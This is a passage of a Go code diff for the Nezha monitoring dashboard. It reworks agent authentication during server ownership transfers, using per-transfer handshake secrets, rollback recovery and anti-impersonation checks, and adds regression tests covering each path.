ApplyConfig swap +// window, the agent still talks to the dashboard with the OLD (FromUserID) +// secret. After a cancel/fail/timeout, a registered revert delivery is the +// only signal that lets the eventually-arriving new-secret reconnect +// recover. The previous implementation cleared revertDeliveries from ANY +// successful old-secret authentication — including ReportSystemInfo2 from +// the periodic reportHost path — so a single old-secret RPC during the +// timer window could destroy the rollback record before the agent ever +// actually swapped secrets. Clearing the delivery is only safe when the +// auth call also gets a chance to consume it by pushing the rollback, +// which only the RequestTask handler does via OnAgentReconnect. +func TestReportSystemInfoDoesNotClearRevertDeliveryForOldSecret(t *testing.T) { + srv := &model.Server{ + Common: model.Common{ID: 23, UserID: 200}, + UUID: "23232323-2323-2323-2323-232323232323", + Name: "preserve-revert-delivery", + } + users := map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember, AgentSecret: "from-secret-23"}, + 300: {Role: model.RoleMember, AgentSecret: "to-secret-23"}, + } + secrets := map[string]uint64{ + "from-secret-23": 200, + "to-secret-23": 300, + } + setupApplyConfigAuthzFixture(t, []*model.Server{srv}, users, secrets) + + tr := initiateAndRegisterPendingTransfer(t, srv.ID, 200, 300, 1) + if _, err := singleton.ServerTransferShared.Cancel(tr.ID); err != nil { + t.Fatalf("cancel transfer: %v", err) + } + if _, ok := singleton.ServerTransferShared.LookupRevertDelivery(srv.ID); !ok { + t.Fatal("precondition: cancel must have registered a revert delivery") + } + + // Simulate the agent's periodic reportHost calling ReportSystemInfo2 + // with the still-current (FromUserID) secret during the 10s pending + // ApplyConfig window. Must succeed (server already reverted to + // FromUserID) but must NOT clear the revert delivery — the agent has + // not yet swapped secrets, and destroying the only recovery record + // now would lock the agent out once its timer fires. + ctx := metadata.NewIncomingContext(context.Background(), metadata.Pairs( + "client_secret", "from-secret-23", + "client_uuid", srv.UUID, + )) + if _, err := NewNezhaHandler().ReportSystemInfo2(ctx, &pb.Host{}); err != nil { + t.Fatalf("ReportSystemInfo2 with old (FromUserID) secret must succeed after revert, got %v", err) + } + + if _, ok := singleton.ServerTransferShared.LookupRevertDelivery(srv.ID); !ok { + t.Fatal("non-RequestTask auth with old secret must NOT clear revert delivery; it cannot push the rollback, so destroying the record locks out the eventually-switched agent") + } +} + +// Regression: when cancel/fail/timeout happens while the agent is offline +// (its only TaskStream is gone), pushRevertIfOnline is a no-op and the +// revertDelivery is the only signal we have left. The agent will reconnect +// *with the original FromUserID secret* (its in-memory liveCredentials still +// points at the secret it had before the swap), and that very reconnect must +// be the one that delivers the rollback ApplyConfig — otherwise the agent's +// 10s reload timer eventually commits the new secret and the dashboard, which +// already restored ownership to FromUserID, rejects every subsequent connect. +// +// The previous implementation cleared the revertDelivery inside +// authorizeAgentForUUIDWithRevertRecovery *before* RequestTask reached +// OnAgentReconnect, so the rollback push that OnAgentReconnect relies on +// (LookupRevertDelivery → pushRevertIfOnline) found nothing and the agent +// got no rollback at all. +func TestRequestTaskCancelledTransferDeliversRollbackOnOldSecretReconnect(t *testing.T) { + srv := &model.Server{ + Common: model.Common{ID: 24, UserID: 200}, + UUID: "24242424-2424-2424-2424-242424242424", + Name: "old-secret-rollback", + } + users := map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember, AgentSecret: "rollback-from-secret"}, + 300: {Role: model.RoleMember, AgentSecret: "rollback-to-secret"}, + } + secrets := map[string]uint64{ + "rollback-from-secret": 200, + "rollback-to-secret": 300, + } + setupApplyConfigAuthzFixture(t, []*model.Server{srv}, users, secrets) + + tr := initiateAndRegisterPendingTransfer(t, srv.ID, 200, 300, 1) + // Cancel while the agent is offline — the in-memory TaskStream is nil + // (we never attached one), so pushRevertIfOnline silently no-ops. + if _, err := singleton.ServerTransferShared.Cancel(tr.ID); err != nil { + t.Fatalf("cancel transfer: %v", err) + } + if _, ok := singleton.ServerTransferShared.LookupRevertDelivery(srv.ID); !ok { + t.Fatal("precondition: cancel while offline must leave a revert delivery for the eventual reconnect") + } + + // Agent now reconnects with its original FromUserID secret (it never + // received the new-secret ApplyConfig because it was offline). This + // RequestTask must deliver the rollback so the agent's reload timer + // supersedes onto the correct credential. + sent := runApplyConfigAuthzReconnect(t, "rollback-from-secret", srv.UUID) + if len(sent) != 1 { + t.Fatalf("expected one rollback ApplyConfig task on old-secret reconnect, got %d", len(sent)) + } + var settled model.ServerTransfer + if err := singleton.DB.First(&settled, tr.ID).Error; err != nil { + t.Fatalf("reload transfer: %v", err) + } + if !strings.Contains(sent[0].Data, settled.RevertHandshakeSecret) { + t.Fatalf("old-secret reconnect rollback must carry the per-transfer RevertHandshakeSecret, got %q", sent[0].Data) + } + if strings.Contains(sent[0].Data, "rollback-from-secret") || strings.Contains(sent[0].Data, "rollback-to-secret") { + t.Fatalf("user-global AgentSecrets must never appear in transfer payloads, got %q", sent[0].Data) + } +} + +// FORWARD-RECOVERY end-to-end: the exact production scenario the fix +// targets. PushIfOnline only ever delivers t.HandshakeSecret, the agent's +// 10s timer commits it to disk, the operator Cancels in that 10s window +// (revert push misses because the stream had no agent yet, or arrived +// before the forward apply finished). The agent reconnects with the +// forward HandshakeSecret it has on disk. RequestTask MUST accept that +// auth and then deliver one rollback ApplyConfig carrying the per-transfer +// RevertHandshakeSecret so the agent's next reload rotates onto the correct +// credential. Without this, the agent has no path back into the dashboard. +func TestRequestTaskForwardHandshakeSecretReconnectAfterCancelDeliversRollback(t *testing.T) { + srv := &model.Server{ + Common: model.Common{ID: 31, UserID: 200}, + UUID: "31313131-3131-3131-3131-313131313131", + Name: "forward-recovery", + } + users := map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember, AgentSecret: "fr-from-secret"}, + 300: {Role: model.RoleMember, AgentSecret: "fr-to-secret"}, + } + secrets := map[string]uint64{ + "fr-from-secret": 200, + "fr-to-secret": 300, + } + setupApplyConfigAuthzFixture(t, []*model.Server{srv}, users, secrets) + + tr := initiateAndRegisterPendingTransfer(t, srv.ID, 200, 300, 1) + forward := tr.HandshakeSecret + if forward == "" { + t.Fatal("precondition: pending transfer must carry a forward HandshakeSecret") + } + + if _, err := singleton.ServerTransferShared.Cancel(tr.ID); err != nil { + t.Fatalf("dashboard Cancel must succeed: %v", err) + } + + sent := runApplyConfigAuthzReconnect(t, forward, srv.UUID) + if len(sent) != 1 { + t.Fatalf("forward-secret reconnect after Cancel must deliver one rollback ApplyConfig task, got %d", len(sent)) + } + var settled model.ServerTransfer + if err := singleton.DB.First(&settled, tr.ID).Error; err != nil { + t.Fatalf("reload transfer: %v", err) + } + if !strings.Contains(sent[0].Data, settled.RevertHandshakeSecret) { + t.Fatalf("rollback delivered after forward-secret recovery must carry the per-transfer RevertHandshakeSecret, got %q", sent[0].Data) + } + if strings.Contains(sent[0].Data, "fr-from-secret") || strings.Contains(sent[0].Data, "fr-to-secret") { + t.Fatalf("user-global AgentSecrets must never appear in transfer payloads, got %q", sent[0].Data) + } +} diff --git a/service/rpc/auth.go b/service/rpc/auth.go index 34b607fe..842426b3 100644 --- a/service/rpc/auth.go +++ b/service/rpc/auth.go @@ -2,6 +2,8 @@ package rpc import ( "context" + "fmt" + "log" "strings" petname "github.com/dustinkirkland/golang-petname" @@ -20,15 +22,24 @@ type authHandler struct { } func (a *authHandler) Check(ctx context.Context) (uint64, error) { + return a.check(ctx) +} + +func (a *authHandler) CheckRequestTask(ctx context.Context) (uint64, error) { + return a.check(ctx) +} + +// 所有 auth caller 走完全相同的 ServerTransfer dual-secret 容忍策略。 +// revertDelivery 不在 auth 阶段消费 —— 真正派发 rollback ApplyConfig 的 +// pushRevertIfOnline 才有资格清理它，否则 auth 提前清就会让 OnAgentReconnect +// 找不到 recovery 记录，agent 10s timer 一到就锁死在被拒绝的新 secret 上。 +func (a *authHandler) check(ctx context.Context) (uint64, error) { md, ok := metadata.FromIncomingContext(ctx) if !ok { return 0, status.Errorf(codes.Unauthenticated, "获取 metaData 失败") } - var clientSecret string - if value, ok := md["client_secret"]; ok { - clientSecret = strings.TrimSpace(value[0]) - } + clientSecret := firstMetadataValue(md, "client-secret", "client_secret") if clientSecret == "" { return 0, status.Error(codes.Unauthenticated, "客户端认证失败") @@ -36,6 +47,104 @@ func (a *authHandler) Check(ctx context.Context) (uint64, error) { ip, _ := ctx.Value(model.CtxKeyRealIP{}).(string) + clientUUID := firstMetadataValue(md, "client-uuid", "client_uuid") + + if _, err := uuid.ParseUUID(clientUUID); err != nil { + // Keep this counter on the same trigger surface as the + // unknown-secret path below: an attacker who pairs a bad secret + // with a malformed/missing UUID otherwise bypasses + // WAFBlockReasonTypeAgentAuthFail entirely and gets unbounded + // retries (TestAuthBadSecret*InvalidUUIDStillIncrementsAgentAuthFailWAF). + model.BlockIP(singleton.DB, ip, model.WAFBlockReasonTypeAgentAuthFail, model.BlockIDgRPC) + return 0, status.Error(codes.Unauthenticated, "客户端 UUID 不合法") + } + + // Per-transfer handshake secret path: ApplyConfig delivers a random + // per-transfer token instead of the destination user's global AgentSecret + // (see PushIfOnline). When the agent reconnects under that token the auth + // layer recognises it here, scoped to the matching server UUID, and + // promotes the transfer to Verified. The user-global secret lookup below + // continues to handle every non-transfer agent, plus the still-tolerated + // previous-owner secret during the Pending window. Checked before the + // global lookup so the handshake-secret token can never collide with + // some other user's accidental match. + if singleton.ServerTransferShared != nil { + if t, ok := singleton.ServerTransferShared.LookupByHandshakeSecret(clientSecret); ok { + cid, found := singleton.ServerShared.UUIDToID(clientUUID) + if !found || cid != t.ServerID { + return 0, status.Error(codes.Unauthenticated, "transfer handshake secret bound to a different server") + } + // Auth via per-transfer HandshakeSecret succeeds only when + // MarkVerified actually performs the Pending → Verified + // transition. A lost CAS (concurrent Cancel/Fail/Timeout) + // means the credential is stale; the verifiedHandshakes + // fallthrough below will still admit it if it had been + // promoted by a successful previous reconnect, otherwise it + // is rejected. + verified, _, err := singleton.ServerTransferShared.MarkVerified(t.ServerID, t.ID) + if err != nil { + log.Printf("NEZHA>> ServerTransfer MarkVerified(cid=%d) via handshake secret failed: %v", t.ServerID, err) + return 0, status.Error(codes.Unauthenticated, "transfer handshake verification failed") + } + if verified { + model.UnblockIP(singleton.DB, ip, model.BlockIDgRPC) + return t.ServerID, nil + } + } + // Bounded terminal-recovery window: a transfer was Cancel/Fail/ + // Timeout-ed and the agent may still be presenting either of its + // per-transfer secrets. Single lookup + kind switch: + // + // forward — agent committed t.HandshakeSecret to disk before + // the dashboard observed MarkVerified. Admit so + // RequestTask → OnAgentReconnect can deliver the + // rollback ApplyConfig. DO NOT call MarkVerified + // (transfer is terminal) and DO NOT promote into + // verifiedHandshakes (the agent's stable post-rollback + // credential will be the revert secret, not this one). + // + // revert — agent has applied the rollback and presented + // t.RevertHandshakeSecret. Promote via + // MarkRevertDelivered so the credential survives + // past the recovery window (~24h sweep). + // + // SECURITY: terminalSecretRecovery is only populated by + // revertTransition. A stolen per-transfer secret on a transfer + // whose terminal status was forged in the DB never reaches this + // table — TestAuthHandshakeSecretRejectedAfterTransferTerminated + // pins that path closed. + if t, kind, ok := singleton.ServerTransferShared.LookupByTerminalSecretRecovery(clientSecret); ok { + cid, found := singleton.ServerShared.UUIDToID(clientUUID) + if !found || cid != t.ServerID { + return 0, status.Error(codes.Unauthenticated, "transfer terminal-recovery secret bound to a different server") + } + model.UnblockIP(singleton.DB, ip, model.BlockIDgRPC) + if kind == singleton.TerminalRecoveryRevert { + if err := singleton.ServerTransferShared.MarkRevertDelivered(t.ServerID, t.ID); err != nil { + log.Printf("NEZHA>> ServerTransfer MarkRevertDelivered(server=%d transfer=%d) failed: %v", t.ServerID, t.ID, err) + } + } + return t.ServerID, nil + } + // Post-MarkVerified path: the agent's persisted client_secret is + // the per-transfer HandshakeSecret (PushIfOnline never delivers a + // user-global secret), and no follow-up ApplyConfig swaps it back + // out. So every reconnect after the first one — stream drop, agent + // restart, etc. — must still match this credential, bound strictly + // to (serverID, UUID). The match is constrained to a single server + // because the handshake secret was generated per-transfer; it does + // not unlock any other agent. A new transfer for the same server + // invalidates the entry inside Register, closing this acceptance + // window before the next HandshakeSecret takes over. + if cid, ok := singleton.ServerTransferShared.LookupServerByVerifiedHandshakeSecret(clientSecret); ok { + if uuidCID, found := singleton.ServerShared.UUIDToID(clientUUID); found && uuidCID == cid { + model.UnblockIP(singleton.DB, ip, model.BlockIDgRPC) + return cid, nil + } + return 0, status.Error(codes.Unauthenticated, "transfer verified handshake secret bound to a different server") + } + } + singleton.UserLock.RLock() userId, ok := singleton.AgentSecretToUserId[clientSecret] if !ok { @@ -47,16 +156,10 @@ func (a *authHandler) Check(ctx context.Context) (uint64, error) { model.UnblockIP(singleton.DB, ip, model.BlockIDgRPC) - var clientUUID string - if value, ok := md["client_uuid"]; ok { - clientUUID = value[0] + clientID, hasID, err := authorizeAgentForUUID(userId, clientUUID) + if err != nil { + return 0, status.Error(codes.Unauthenticated, err.Error()) } - - if _, err := uuid.ParseUUID(clientUUID); err != nil { - return 0, status.Error(codes.Unauthenticated, "客户端 UUID 不合法") - } - - clientID, hasID := singleton.ServerShared.UUIDToID(clientUUID) if !hasID { s := model.Server{UUID: clientUUID, Name: petname.Generate(2, "-"), Common: model.Common{ UserID: userId, @@ -73,3 +176,102 @@ func (a *authHandler) Check(ctx context.Context) (uint64, error) { return clientID, nil } + +func firstMetadataValue(md metadata.MD, keys ...string) string { + for _, key := range keys { + if value, ok := md[key]; ok && len(value) > 0 { + return strings.TrimSpace(value[0]) + } + } + return "" +} + +// authorizeAgentForUUID resolves a client UUID to the dashboard's internal +// server ID, ensuring the resolved server is actually owned by the agent +// secret's owner. Previously Check returned the resolved server ID without +// verifying ownership, allowing an agent that knew another user's server +// UUID to impersonate it (poisoning monitoring state, triggering alerts). +// hasID=false means the UUID is unknown and the caller may register it as +// a new server for the secret owner. +// +// The error path also doubles as a leak-detection signal for operators: if +// an agent persistently fails with "client UUID does not belong to the +// agent secret owner", it pins down which user's secret has been reused +// against a server they don't own. +// +// Server transfer interaction: while a ServerTransfer is Pending for this +// server, the agent is still authenticating with the previous owner's +// AgentSecret (the new secret has not yet propagated). To keep that agent +// online during the rollover, accept userId==FromUserID for the duration of +// the pending window. The dual-secret tolerance is narrowly scoped to the +// affected server only — every other agent of either user is unaffected. +// Once the agent reconnects under the new owner's secret (userId==ToUserID +// matching server.UserID), MarkVerified promotes the transfer and closes +// the tolerance window. +func authorizeAgentForUUID(userId uint64, clientUUID string) (clientID uint64, hasID bool, err error) { + cid, found := singleton.ServerShared.UUIDToID(clientUUID) + if !found { + return 0, false, nil + } + server, _ := singleton.ServerShared.Get(cid) + if server == nil { + // Cache inconsistency: UUID maps to an ID, but no server record exists. + // Treat as unknown (registration path) rather than impersonation. + return 0, false, nil + } + if userId == 0 { + // The legacy global agent secret maps to user 0. It predates per-user + // agent secrets, so keep it compatible by allowing any existing UUID. + // Possession of this deployment-wide master credential is therefore not + // a tenant-scoped authorization claim. Removal must follow an inventory and + // credential-rotation migration or legacy Agents will be locked out. + return cid, true, nil + } + if server.GetUserID() == userId { + // SECURITY: while a transfer is Pending, Server.UserID has already + // been flipped to ToUserID by Register, so userId==Server.UserID + // here also matches the destination user's user-global AgentSecret. + // PushIfOnline only delivers the per-transfer HandshakeSecret on + // the wire; the destination user's global AgentSecret is never + // pushed to the agent, so a reconnect under that secret is not + // proof of agent rotation. Admitting it would let the destination + // user — who can see Server.UUID — authenticate as the agent + // during the Pending window. Reject the user-global secret until + // the transfer settles; the HandshakeSecret path in check() is + // the only valid promotion route. + if singleton.ServerTransferShared != nil { + if _, ok := singleton.ServerTransferShared.LookupPending(cid); ok { + return 0, false, fmt.Errorf("destination user's global AgentSecret cannot authenticate during a pending transfer; agent must rotate to per-transfer HandshakeSecret") + } + } + return cid, true, nil + } + // server.UserID != userId — normally an impersonation attempt. Allow it + // only when a ServerTransfer for this server is Pending AND the secret in + // hand is the previous owner's (FromUserID), OR when a recently terminated + // transfer left a revert-delivery for FromUserID and the agent is still + // presenting its pre-transfer global secret. + // + // SECURITY: we deliberately do NOT accept the destination user's global + // AgentSecret on the LookupRevertDelivery path. PushIfOnline only ever + // delivers per-transfer HandshakeSecret / RevertHandshakeSecret to the + // agent — the ToUserID global secret never travels over the wire — so a + // reconnect under that credential is not proof of agent rotation; it can + // only come from the destination user themselves, who can see Server.UUID + // once Register flips Server.UserID. Admitting it would let that user + // impersonate the agent during the rollback window, trigger + // pushRevertIfOnline to leak RevertHandshakeSecret, and then be promoted + // into verifiedHandshakes via MarkRevertDelivered. The legitimate recovery + // paths are: FromUserID global secret (handled below), forward + // HandshakeSecret and RevertHandshakeSecret (handled by the + // terminalSecretRecovery / verifiedHandshakes lookups in check()). + if singleton.ServerTransferShared != nil { + if t, ok := singleton.ServerTransferShared.LookupRevertDelivery(cid); ok && t.FromUserID == userId { + return cid, true, nil + } + if t, ok := singleton.ServerTransferShared.LookupPending(cid); ok && t.FromUserID == userId { + return cid, true, nil + } + } + return 0, false, fmt.Errorf("client UUID does not belong to the agent secret owner") +} diff --git a/service/rpc/auth_test.go b/service/rpc/auth_test.go new file mode 100644 index 00000000..c886dab4 --- /dev/null +++ b/service/rpc/auth_test.go @@ -0,0 +1,669 @@ +package rpc + +import ( + "context" + "errors" + "testing" + + "google.golang.org/grpc/metadata" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/utils" + "github.com/nezhahq/nezha/service/singleton" +) + +// authCheckWithSecret drives (*authHandler).check end-to-end via the same +// gRPC metadata path the real RPC handler uses. Tests rely on it to assert +// what a real reconnect — secret + UUID supplied on the wire — would do. +func authCheckWithSecret(secret, uuid string) (uint64, error) { + ctx := metadata.NewIncomingContext(context.Background(), metadata.Pairs( + "client_secret", secret, + "client_uuid", uuid, + )) + return (&authHandler{}).Check(ctx) +} + +func authCheckWithHyphenatedSecret(secret, uuid string) (uint64, error) { + ctx := metadata.NewIncomingContext(context.Background(), metadata.Pairs( + "client-secret", secret, + "client-uuid", uuid, + )) + return (&authHandler{}).Check(ctx) +} + +// authCheckWithBothKeyStyles reproduces the real post-upgrade wire state: a +// new agent (PR #244) emits BOTH hyphenated and underscore metadata, so a new +// dashboard receives both at once. hyphenSecret/underscoreSecret may differ so +// a test can assert which key wins. +func authCheckWithBothKeyStyles(hyphenSecret, underscoreSecret, uuid string) (uint64, error) { + ctx := metadata.NewIncomingContext(context.Background(), metadata.Pairs( + "client-secret", hyphenSecret, + "client_secret", underscoreSecret, + "client-uuid", uuid, + "client_uuid", uuid, + )) + return (&authHandler{}).Check(ctx) +} + +// authHandshakeUUID is RFC4122-shaped so it survives the uuid.ParseUUID gate +// at the top of check(); setupAuthAgentFixture's "uuid-alice" / "uuid-bob" +// only work for callers that bypass check() and exercise the inner helpers. +const authHandshakeUUID = "11111111-1111-1111-1111-111111111111" + +// setupAuthHandshakeFixture seeds a single server (id=11, owner=user 100, +// real UUID) plus the user-secret tables so the global-secret fall-through +// in check() has something to match. Mirrors setupAuthAgentFixture's reset +// discipline but additionally restores AgentSecretToUserId / UserInfoMap. +func setupAuthHandshakeFixture(t *testing.T) func() { + t.Helper() + originalDB := singleton.DB + originalServerShared := singleton.ServerShared + originalServerTransferShared := singleton.ServerTransferShared + originalUserInfoMap := singleton.UserInfoMap + originalAgentSecretToUserId := singleton.AgentSecretToUserId + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + if err != nil { + t.Fatalf("open db: %v", err) + } + if err := db.AutoMigrate(&model.Server{}, &model.ServerTransfer{}, &model.WAF{}); err != nil { + t.Fatalf("migrate: %v", err) + } + if err := db.Create(&model.Server{ + Common: model.Common{ID: 11, UserID: 100}, + UUID: authHandshakeUUID, + Name: "handshake-srv", + }).Error; err != nil { + t.Fatalf("create handshake server: %v", err) + } + singleton.DB = db + singleton.ServerShared = singleton.NewServerClass() + srv := &model.Server{Common: model.Common{ID: 11, UserID: 100}, UUID: authHandshakeUUID, Name: "handshake-srv"} + model.InitServer(srv) + singleton.ServerShared.Update(srv, authHandshakeUUID) + singleton.ServerTransferShared = singleton.NewServerTransferClass() + + singleton.UserLock.Lock() + singleton.UserInfoMap = map[uint64]model.UserInfo{ + 100: {Role: model.RoleMember, AgentSecret: "alice-global"}, + 200: {Role: model.RoleMember, AgentSecret: "bob-global"}, + } + singleton.AgentSecretToUserId = map[string]uint64{ + "alice-global": 100, + "bob-global": 200, + } + singleton.UserLock.Unlock() + + return func() { + if singleton.ServerTransferShared != nil { + singleton.ServerTransferShared.Stop() + } + singleton.DB = originalDB + singleton.ServerShared = originalServerShared + singleton.ServerTransferShared = originalServerTransferShared + singleton.UserLock.Lock() + singleton.UserInfoMap = originalUserInfoMap + singleton.AgentSecretToUserId = originalAgentSecretToUserId + singleton.UserLock.Unlock() + } +} + +func TestAuthCheckAcceptsHyphenatedMetadata(t *testing.T) { + defer setupAuthHandshakeFixture(t)() + + cid, err := authCheckWithHyphenatedSecret("alice-global", authHandshakeUUID) + if err != nil { + t.Fatalf("hyphenated metadata must authenticate: %v", err) + } + if cid != 11 { + t.Fatalf("expected server ID 11, got %d", cid) + } +} + +// The everyday post-upgrade case (new agent + new dashboard): both key styles +// arrive together carrying the same secret and must authenticate normally. +func TestAuthCheckAcceptsBothKeyStylesPresent(t *testing.T) { + defer setupAuthHandshakeFixture(t)() + + cid, err := authCheckWithBothKeyStyles("alice-global", "alice-global", authHandshakeUUID) + if err != nil { + t.Fatalf("an agent emitting both key styles must authenticate: %v", err) + } + if cid != 11 { + t.Fatalf("expected server ID 11, got %d", cid) + } +} + +// When both styles are present the hyphenated key wins (firstMetadataValue +// lists it first). This pins the precedence so a future reorder can't silently +// start trusting the underscore alias that Caddy strips. +func TestAuthCheckHyphenatedKeyTakesPrecedence(t *testing.T) { + defer setupAuthHandshakeFixture(t)() + + cid, err := authCheckWithBothKeyStyles("alice-global", "garbage-underscore", authHandshakeUUID) + if err != nil { + t.Fatalf("hyphenated secret must be the one used, so auth must succeed: %v", err) + } + if cid != 11 { + t.Fatalf("expected server ID 11 from the hyphenated secret, got %d", cid) + } +} + +// setupAuthAgentFixture seeds an in-memory DB and ServerShared with two +// servers belonging to different users so we can assert that a secret bound +// to user A cannot resolve a server UUID owned by user B. +func setupAuthAgentFixture(t *testing.T) func() { + t.Helper() + originalDB := singleton.DB + originalServerShared := singleton.ServerShared + originalServerTransferShared := singleton.ServerTransferShared + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + if err != nil { + t.Fatalf("open db: %v", err) + } + if err := db.AutoMigrate(&model.Server{}, &model.ServerTransfer{}); err != nil { + t.Fatalf("migrate: %v", err) + } + if err := db.Create(&model.Server{ + Common: model.Common{ID: 1, UserID: 100}, + UUID: "uuid-alice", + Name: "alice-srv", + }).Error; err != nil { + t.Fatalf("create alice: %v", err) + } + if err := db.Create(&model.Server{ + Common: model.Common{ID: 2, UserID: 200}, + UUID: "uuid-bob", + Name: "bob-srv", + }).Error; err != nil { + t.Fatalf("create bob: %v", err) + } + singleton.DB = db + singleton.ServerShared = singleton.NewServerClass() + singleton.ServerTransferShared = singleton.NewServerTransferClass() + + return func() { + if singleton.ServerTransferShared != nil { + singleton.ServerTransferShared.Stop() + } + singleton.DB = originalDB + singleton.ServerShared = originalServerShared + singleton.ServerTransferShared = originalServerTransferShared + } +} + +func TestAuthorizeAgentForUUIDAcceptsOwnedServer(t *testing.T) { + defer setupAuthAgentFixture(t)() + + cid, hasID, err := authorizeAgentForUUID(100, "uuid-alice") + if err != nil { + t.Fatalf("alice with her own server UUID must not error, got %v", err) + } + if !hasID || cid != 1 { + t.Fatalf("expected (cid=1, hasID=true), got (cid=%d, hasID=%v)", cid, hasID) + } +} + +// Core regression: an agent presenting user A's secret but user B's server +// UUID must be rejected. Previously the code returned the resolved server ID +// without verifying the UserID matched the secret owner, allowing same-tenant +// (and worse — cross-tenant if UUID leaks) server impersonation. +func TestAuthorizeAgentForUUIDRejectsForeignServerUUID(t *testing.T) { + defer setupAuthAgentFixture(t)() + + _, _, err := authorizeAgentForUUID(100, "uuid-bob") // alice's secret + bob's UUID + if err == nil { + t.Fatalf("UUID owned by another user must be rejected") + } +} + +func TestAuthorizeAgentForUUIDAllowsGlobalDefaultSecret(t *testing.T) { + defer setupAuthAgentFixture(t)() + + cid, hasID, err := authorizeAgentForUUID(0, "uuid-bob") + if err != nil { + t.Fatalf("global default secret must be allowed to use existing UUIDs, got %v", err) + } + if !hasID || cid != 2 { + t.Fatalf("expected (cid=2, hasID=true), got (cid=%d, hasID=%v)", cid, hasID) + } +} + +// An unknown UUID must NOT be treated as an impersonation attempt — it is +// the normal first-time registration path and the caller (Check) creates a +// new server bound to the secret owner. +func TestAuthorizeAgentForUUIDPermitsUnknownUUIDForRegistration(t *testing.T) { + defer setupAuthAgentFixture(t)() + + cid, hasID, err := authorizeAgentForUUID(100, "uuid-never-seen-before") + if err != nil { + t.Fatalf("unknown UUID must be permitted for new registration, got %v", err) + } + if hasID { + t.Fatalf("hasID must be false for unknown UUID, got cid=%d", cid) + } +} + +// initiatePendingTransfer mirrors the controller flow used by the batch-move +// endpoint to drive ownership through ServerTransferShared. Tests use it to +// set up the auth-tolerance window with the Server row already flipped to +// ToUserID. Returns nothing; callers use ServerTransferShared.LookupPending +// to fetch the row if they need it. +func initiatePendingTransfer(t *testing.T, serverID, fromUserID, toUserID uint64) { + t.Helper() + var created *model.ServerTransfer + err := singleton.DB.Transaction(func(tx *gorm.DB) error { + var err error + created, err = singleton.ServerTransferShared.Initiate(tx, serverID, fromUserID, toUserID, fromUserID) + return err + }) + if err != nil { + t.Fatalf("initiate pending transfer: %v", err) + } + singleton.ServerTransferShared.Register(created) +} + +// The auth-tolerance window: while a Pending transfer exists for this server, +// the old owner's AgentSecret must still authenticate this UUID — the agent +// hasn't received the new secret yet via ApplyConfig. Without this, every +// in-flight transfer would knock the affected agent offline immediately. +func TestAuthorizeAgentForUUIDAcceptsFromUserDuringPendingTransfer(t *testing.T) { + defer setupAuthAgentFixture(t)() + + // Alice initiates: server 1 moves from alice (100) to bob (200). + // Server.UserID is now 200; alice's agent still presents secret==100. + initiatePendingTransfer(t, 1, 100, 200) + + cid, hasID, err := authorizeAgentForUUID(100, "uuid-alice") + if err != nil { + t.Fatalf("FromUserID secret must be accepted during pending window, got %v", err) + } + if !hasID || cid != 1 { + t.Fatalf("expected (cid=1, hasID=true), got (cid=%d, hasID=%v)", cid, hasID) + } +} + +// Tolerance is narrowly scoped: an unrelated user's secret must NOT be +// accepted just because *some* transfer is in flight. Specifically, only +// secrets matching FromUserID or ToUserID get through. +func TestAuthorizeAgentForUUIDRejectsThirdPartyDuringPendingTransfer(t *testing.T) { + defer setupAuthAgentFixture(t)() + initiatePendingTransfer(t, 1, 100, 200) + + // userId=999 has nothing to do with this transfer. + _, _, err := authorizeAgentForUUID(999, "uuid-alice") + if err == nil { + t.Fatalf("third-party secret must be rejected even while a transfer is pending") + } +} + +// SECURITY: during a Pending transfer the destination user's user-global +// AgentSecret must NOT close the pending window. PushIfOnline only delivers +// the per-transfer HandshakeSecret on the wire, so a reconnect under the +// destination user's global AgentSecret is not proof of agent rotation — +// it could just be the destination user authenticating with their own +// secret + the now-visible Server.UUID. Reject it; only the per-transfer +// HandshakeSecret path may promote to Verified. +func TestAuthorizeAgentForUUIDRejectsToUserGlobalSecretDuringPendingTransfer(t *testing.T) { + defer setupAuthAgentFixture(t)() + initiatePendingTransfer(t, 1, 100, 200) + + if _, _, err := authorizeAgentForUUID(200, "uuid-alice"); err == nil { + t.Fatal("destination user's global AgentSecret must NOT authenticate during pending transfer; only per-transfer HandshakeSecret may close the window") + } + if !singleton.ServerTransferShared.HasPending(1) { + t.Fatal("pending transfer must survive a destination-user global AgentSecret reconnect") + } + + if _, _, err := authorizeAgentForUUID(100, "uuid-alice"); err != nil { + t.Fatalf("FromUser tolerance window must remain open while transfer is still Pending, got %v", err) + } +} + +// During the revert recovery window the destination user's global +// AgentSecret must NOT be accepted by authorizeAgentForUUID. PushIfOnline +// only delivers per-transfer HandshakeSecret / RevertHandshakeSecret on +// the wire, so a reconnect under the ToUserID global secret cannot come +// from the real agent — it can only come from the destination user +// themselves, who can see Server.UUID and would otherwise impersonate the +// agent during rollback, trigger pushRevertIfOnline to leak +// RevertHandshakeSecret, and get promoted via MarkRevertDelivered. +// Legitimate recovery goes through FromUserID's global secret, the +// forward HandshakeSecret, or the RevertHandshakeSecret. +func TestAuthorizeAgentForUUIDRejectsToUserGlobalSecretDuringRevertRecovery(t *testing.T) { + defer setupAuthAgentFixture(t)() + initiatePendingTransfer(t, 1, 100, 200) + pending, ok := singleton.ServerTransferShared.LookupPending(1) + if !ok { + t.Fatal("expected pending transfer") + } + if _, err := singleton.ServerTransferShared.Cancel(pending.ID); err != nil { + t.Fatalf("cancel transfer: %v", err) + } + + if _, _, err := authorizeAgentForUUID(200, "uuid-alice"); err == nil { + t.Fatal("destination user's global AgentSecret must NOT authenticate during revert recovery; only per-transfer HandshakeSecret / RevertHandshakeSecret may close the window") + } + if _, ok := singleton.ServerTransferShared.LookupRevertDelivery(1); !ok { + t.Fatal("rejected ToUserID auth must not consume the revert delivery — the real agent still needs it for the eventual per-transfer recovery") + } +} + +// Regression for finding A: after MarkVerified deletes the pending entry, +// the agent's persisted ClientSecret is still the per-transfer +// HandshakeSecret (PushIfOnline only ever delivered that value). The very +// next reconnect — gRPC stream drop, agent restart, network blip — must +// keep authenticating, otherwise the agent silently locks itself out on +// the now-orphaned handshake token. There is no follow-up ApplyConfig +// path that swaps the agent over to the destination user's stable +// AgentSecret, so auth itself has to keep treating the post-Verified +// HandshakeSecret as a valid credential for that server. +func TestAuthHandshakeSecretStillAuthenticatesAfterMarkVerified(t *testing.T) { + 